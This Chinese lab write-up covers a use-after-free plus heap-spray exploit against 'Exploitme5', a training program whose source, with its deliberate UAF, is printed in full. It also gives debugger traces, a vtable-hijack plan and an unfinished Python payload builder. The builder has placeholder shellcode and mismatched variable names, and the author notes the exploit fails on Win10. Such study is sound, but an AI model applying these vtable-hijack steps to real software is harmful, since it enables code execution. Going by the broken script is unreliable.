Exploitme5——Heap Spraying & UAF

堆喷射和UAF漏洞实验。

Win10下,堆基址的随机化粒度比win7小,导致本实验暂时无法完成……

参考资料:

实验环境

  • Windows10 VisualStudio2022
  • 关闭/sdl
  • 关闭警告/W0(可选)

漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <conio.h>
#include <vector>
using namespace std;
const bool printAddresses = true;
class Mutator {
protected:
int param;
public:
Mutator(int param) : param(param) {}
virtual int getParam() const {
return param;
}
virtual void mutate(void *data, int size) const = 0;
};
class Multiplier : public Mutator {
int reserved[40]; // 现在没用到!
public:
Multiplier(int multiplier = 0) : Mutator(multiplier) {}
virtual void mutate(void *data, int size) const {
int *ptr = (int *)data;
for (int i = 0; i < size / 4; ++i)
ptr[i] *= getParam();
}
};
class LowerCaser : public Mutator {
public:
LowerCaser() : Mutator(0) {}
virtual void mutate(void *data, int size) const {
char *ptr = (char *)data;
for (int i = 0; i < size; ++i)
if (ptr[i] >= 'a' && ptr[i] <= 'z')
ptr[i] -= 0x20;
}
};
class Block {
void *data;
int size;
public:
Block(void *data, int size) : data(data), size(size) {}
void *getData() const { return data; }
int getSize() const { return size; }
};

void flush() {
char ch;
while ((ch = getchar()) != '\n' && ch != EOF);
}

// 全局变量
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };

void configureMutator() {
while (true) {
printf(
"1) Multiplier (multiplier = %d)\n"
"2) LowerCaser\n"
"3) Exit\n"
"\n"
"Your choice [1-3]: ", mutators[0]->getParam());
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
if (choice == '1') {
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
delete mutators[0];
printf("multiplier (int): ");
int multiplier;
int res = scanf_s("%d", &multiplier);
// fflush(stdin);
flush();
if (res) {
mutators[0] = new Multiplier(multiplier);
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
printf("Multiplier was configured\n\n");
}
break;
}
else {
printf("LowerCaser is not configurable for now!\n\n");
}
}
else
printf("Wrong choice!\n");
}
}
void listBlocks() {
printf("------- Blocks -------\n");
if (!printAddresses)
for (size_t i = 0; i < blocks.size(); ++i)
printf("block %d: size = %d\n", i, blocks[i].getSize());
else
for (size_t i = 0; i < blocks.size(); ++i)
printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
printf("----------------------\n\n");
}
void readBlock() {
char *data;
char filePath[1024];
while (true) {
printf("File path ('exit' to exit): ");
scanf_s("%s", filePath, sizeof(filePath));
fflush(stdin);
printf("\n");
if (!strcmp(filePath, "exit"))
return;
FILE *f = fopen(filePath, "rb");
if (!f)
printf("Can't open the file!\n\n");
else {
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
data = new char[bytes];
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(data + pos, 1, len, f);
pos += len;
}
fclose(f);
blocks.push_back(Block(data, bytes));
printf("Block read (%d bytes)\n\n", bytes);
break;
}
}
}
void duplicateBlock() {
listBlocks();
while (true) {
printf("Index of block to duplicate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
return;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
int copies;
printf("Number of copies (-1 to exit): ");
scanf_s("%d", &copies);
fflush(stdin);
if (copies == -1)
return;
if (copies <= 0)
printf("Wrong number of copies!\n");
else {
for (int i = 0; i < copies; ++i) {
int size = blocks[index].getSize();
void *data = new char[size];
memcpy(data, blocks[index].getData(), size);
blocks.push_back(Block(data, size));
}
return;
}
}
}
}
}
void myExit() {
exit(0);
}
void mutateBlock() {
listBlocks();
while (true) {
printf("Index of block to mutate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
break;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
printf(
"1) Multiplier\n"
"2) LowerCaser\n"
"3) Exit\n"
"Your choice [1-3]: ");
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
choice -= '0';
mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
printf("The block was mutated.\n\n");
break;
}
else
printf("Wrong choice!\n\n");
}
break;
}
}
}
int handleMenu() {
while (true) {
printf(
"1) Read block from file\n"
"2) List blocks\n"
"3) Duplicate Block\n"
"4) Configure mutator\n"
"5) Mutate block\n"
"6) Exit\n"
"\n"
"Your choice [1-6]: ");
int choice = _getch();


printf("\n\n");
if (choice >= '1' && choice <= '6')
return choice - '0';
else
printf("Wrong choice!\n\n");
}
}
int main() {
typedef void(*funcPtr)();
funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };
while (true) {
int choice = handleMenu();
functions[choice - 1]();
}
return 0;
}

分析程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const bool printAddresses = true;

// 类
class Mutator; // 每个mutator包含一个虚表指针(虚表中包含mutate()函数),一个参数param。
class Multiplier : public Mutator; // 包含mutate函数,可修改block中的数据为元数据的指定倍数。
// 还包含40*4=160个字节的保留区域
class LowerCaser : public Mutator; // 包含mutate函数,可将block中的小写字母,转换为大写
class Block; // 每个block包含一个数据指针void *data, 一个数据大小int size,共8个字节

// 全局变量
vector<Block> blocks; // 存储块,
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() }; // 存储转换器

// 函数
void configureMutator() // 配置转换器,由于Mutator类不支持直接对param进行修改,只能先删除之前mutators[0]中的对象,然后新创建一个
void listBlocks() // 列出所有的块信息
void readBlock() // 从文件中读取数据,创建一个block并将其加入列表
void duplicateBlock() // 先列出所有块,指定块id和复制份数,然后根据要求进行复制
void mutateBlock() // 先列出所有块,指定待变换的块id和转换方法,然后对该块内的数据进行转换
int handleMenu() // 输出提示菜单,读取用户命令,并返回给main
int main() // main函数中,定义函数指针数组,调用handleMenu,根据返回序号,调用对应函数

UAF漏洞分析

UAF漏洞存在于ConfigureMutator函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (choice == '1') {
...
delete mutators[0]; // 输入为1,先释放原来对象,将那(两)块内存区域加入空闲列表
...
int multiplier;
int res = scanf_s("%d", &multiplier); // 读取参数
...
if (res) { // 如果参数读取成功,从空闲列表中去除刚才释放的(两块)内存,创建新的对象,
mutators[0] = new Multiplier(multiplier);
...
}
break; // 如果参数读取失败,比如输入字符a(res=0),会直接退出循环,然后退出函数。此时mutators[0]处的对象已被delete。
// 但我们仍能够通过mutators[0]访问那块内存区域,即 Use After Free
}

因此,如果我们在mutators[0]所指对象被回收后,创建包含和该对象相同大小data的block,即可劫持该对象,以及它的虚表和虚函数。

当再次调用该对象的mutate()函数时,就会执行我们预先存储好的shellcode。

确定对象大小

通过以下命令,可以看到一个Multiplier对象的大小是 168 个字节

1
2
3
4
5
6
7
8
9
0:000> dt Mutator
Exploitme5!Mutator
+0x000 __VFN_table : Ptr32
+0x004 param : Int4B
0:000> dt Multiplier
Exploitme5!Multiplier
+0x000 __VFN_table : Ptr32
+0x004 param : Int4B
+0x008 reserved : [40] Int4B

劫持对象

为了保证我们的数据成功占用被回收的对象所在的内存块,在对象被删除,与payload所在块被创建之间,尽量不要调用危险函数,比如fopen。因此,我们的劫持逻辑如下:

1
2
3
readBlock 读入数据,创建块 : 1 D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat
delete mutators[0] 删除对象 : 4 1 a
duplicateBlock 复制快,payload所在的新块占用被回收的对象空间 : 3 0 1

执行以下python代码

1
2
with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
f.write(b"a"*168)

运行程序,得到(略去menu):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
Your choice [1-6]:1 // 读入数据
File path ('exit' to exit): D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat // 指定文件
Block read (168 bytes)
...
Your choice [1-6]:4 // 配置mutator
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]:1 // 选定multiplier
mutators[0] = 0x00d864a0 // 删除mutators[0]处的multiplier对象,地址为0x00d864a0
multiplier (int): a // 输入a,使得res为0,阻止此时创建新对象
...
Your choice [1-6]:3 // 复制对象
------- Blocks -------
block 0: address = 0x00d8b138; size = 168
----------------------
Index of block to duplicate (-1 to exit): 0 // 选择我们准备好的block
Number of copies (-1 to exit): 1 // 1份
...

Your choice [1-6]:2 // 再次查看所有的块
------- Blocks -------
block 0: address = 0x00d8b138; size = 168
block 1: address = 0x00d864a0; size = 168 // 发现新block中的data地址,和上面被删除的multiplier对象地址相同
----------------------
...
Your choice [1-6]:6

payload成功占据了mutators[0]所指对象的空间,劫持成功。

如果继续执行变换,windbg中报错信息如下:

1
2
3
4
5
6
7
8
(5504.23e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010c6318 ebx=00dcc000 ecx=010c64a0 edx=00000000 esi=61616161 edi=761ee410
eip=008a1972 esp=00bffe98 ebp=00bffeac iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
Exploitme5!mutateBlock+0x112:
008a1972 ff5604 call dword ptr [esi+4] ds:002b:61616165=????????

可以看到虚指针被覆盖。

构造shellcode

我们需要将虚指针指向构造好的虚表,需表中存储指向shellcode的指针。

确定虚函数在虚表中的位置

通过以下命令,确定虚函数mutate()的地址在虚表中的位置:在第4-7个字节处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:004> dd mutators
008a5454 00c964a0 00c96ce8 00000000 00000000
008a5464 00000000 00000000 00000000 00000000
008a5474 00000000 00000000 00000000 00000000
008a5484 00000000 00000000 00000000 00000000
008a5494 00000000 00000000 00000000 00000000
008a54a4 00000000 00000000 00000000 00000000
008a54b4 00000000 00000000 00000000 00000000
008a54c4 00000000 00000000 00000000 00000000
0:004> dt Multiplier 00c964a0 // mutators[0]
Exploitme5!Multiplier
+0x000 __VFN_table : 0x008a34f8
+0x004 param : 0n2
+0x008 reserved : [40] 0n-1163005939
0:004> dd 0x008a34f8 // mutators[0]的虚指针
008a34f8 008a1260 008a1270 00000000 008a37a8
008a3508 008a1260 008a12b0 000000c0 00000000
008a3518 00000000 00000000 00000000 00000000
008a3528 00000000 00000000 00000000 00000000
008a3538 00000000 00000000 00000000 00000000
008a3548 00000000 008a5008 008a3838 00000001
008a3558 008a3118 00000000 00000000 00000000
008a3568 00000100 00000000 00000000 00000000
0:004> u 008a1270 // 虚函数表中的第二个函数指针(第4-7个字节),是我们需要劫持的mutate()的地址
Exploitme5!Multiplier::mutate [D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme5\Exploitme5.cpp @ 19]:
008a1270 55 push ebp
008a1271 8bec mov ebp,esp
008a1273 8b450c mov eax,dword ptr [ebp+0Ch]
008a1276 99 cdq
008a1277 83e203 and edx,3
008a127a 53 push ebx
008a127b 56 push esi
008a127c 33f6 xor esi,esi

现在的问题在于,我们不知道该让vt_ptr指向哪里。我们可以将虚表和shellcode写到buf.dat文件中,并读入到块中。但由于ASLR我们无法确定buf.dat对应块的地址。

Heap Spraying确定虚指针

我们可以使用Heap Spraying的方法,保证某个地址一定存储了我们需要的虚表+shellcode,然后我们把这个地址赋值给虚表指针即可。

1
2
3
4
5
6
7
8
9
10
import struct
with open("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "wb") as f:
obj1_addr = 0x00c964a0

shellcode = b"..."
vt_ptr = struct.pack("<I", obj_addr + 4)
vt = b"a"*4 + struct.pack("<I", obj_addr + 12)

payload = vt_ptr + vt + shellcode
f.write(b'a'*168)